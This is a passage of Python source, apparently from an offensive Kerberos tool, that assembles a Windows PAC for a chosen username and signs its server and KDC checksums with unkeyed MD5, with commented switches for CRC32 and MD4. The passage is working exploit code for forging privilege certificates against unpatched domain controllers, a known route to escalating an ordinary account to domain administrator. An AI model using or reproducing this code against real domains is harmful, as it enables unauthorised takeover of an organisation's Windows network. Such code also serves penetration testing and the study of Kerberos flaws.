            name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
        pacClientInfo['NameLength'] = len(name)
        pacClientInfo['Name'] = name
        pacClientInfoBlob = pacClientInfo.getData()
        pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))

        # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
        serverChecksum = PAC_SIGNATURE_DATA()

        # If you wanna do CRC32, uncomment this
        #serverChecksum['SignatureType'] = self.CRC_32
        #serverChecksum['Signature'] = b'\x00'*4

        # If you wanna do MD4, uncomment this
        #serverChecksum['SignatureType'] = self.RSA_MD4
        #serverChecksum['Signature'] = b'\x00'*16

        # If you wanna do MD5, uncomment this
        serverChecksum['SignatureType'] = self.RSA_MD5
        serverChecksum['Signature'] = b'\x00'*16

        serverChecksumBlob = serverChecksum.getData()
        serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))

        # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
        privSvrChecksum = PAC_SIGNATURE_DATA()

        # If you wanna do CRC32, uncomment this
        #privSvrChecksum['SignatureType'] = self.CRC_32
        #privSvrChecksum['Signature'] = b'\x00'*4

        # If you wanna do MD4, uncomment this
        #privSvrChecksum['SignatureType'] = self.RSA_MD4
        #privSvrChecksum['Signature'] = b'\x00'*16

        # If you wanna do MD5, uncomment this
        privSvrChecksum['SignatureType'] = self.RSA_MD5
        privSvrChecksum['Signature'] = b'\x00'*16

        privSvrChecksumBlob = privSvrChecksum.getData()
        privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))

        # The offset are set from the beginning of the PAC_TYPE
        # [MS-PAC] 2.4 PAC_INFO_BUFFER
        offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4

        # Let's build the PAC_INFO_BUFFER for each one of the elements
        validationInfoIB = PAC_INFO_BUFFER()
        validationInfoIB['ulType'] = PAC_LOGON_INFO
        validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)
        validationInfoIB['Offset'] = offsetData
        offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8

        pacClientInfoIB = PAC_INFO_BUFFER()
        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
        pacClientInfoIB['Offset'] = offsetData
        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8

        serverChecksumIB = PAC_INFO_BUFFER()
        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
        serverChecksumIB['Offset'] = offsetData
        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8

        privSvrChecksumIB = PAC_INFO_BUFFER()
        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
        privSvrChecksumIB['Offset'] = offsetData
        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8

        # Building the PAC_TYPE as specified in [MS-PAC]
        buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
            privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
            pacClientInfo.getData() + pacClientInfoAlignment
        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment

        pacType = PACTYPE()
        pacType['cBuffers'] = 4
        pacType['Version'] = 0
        pacType['Buffers'] = buffers + buffersTail

        blobToChecksum = pacType.getData()

        # If you want to do CRC-32, ucomment this
        #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
        #privSvrChecksum['Signature'] =  struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)

        # If you want to do MD4, ucomment this
        #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
        #privSvrChecksum['Signature'] =  MD4.new(serverChecksum['Signature']).digest()

        # If you want to do MD5, ucomment this
        serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
        privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() 

        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
        pacType['Buffers'] = buffers + buffersTail

        authorizationData = AuthorizationData()
        authorizationData[0] = noValue
        authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
        authorizationData[0]['ad-data'] = pacType.getData()
        return encoder.encode(authorizationData)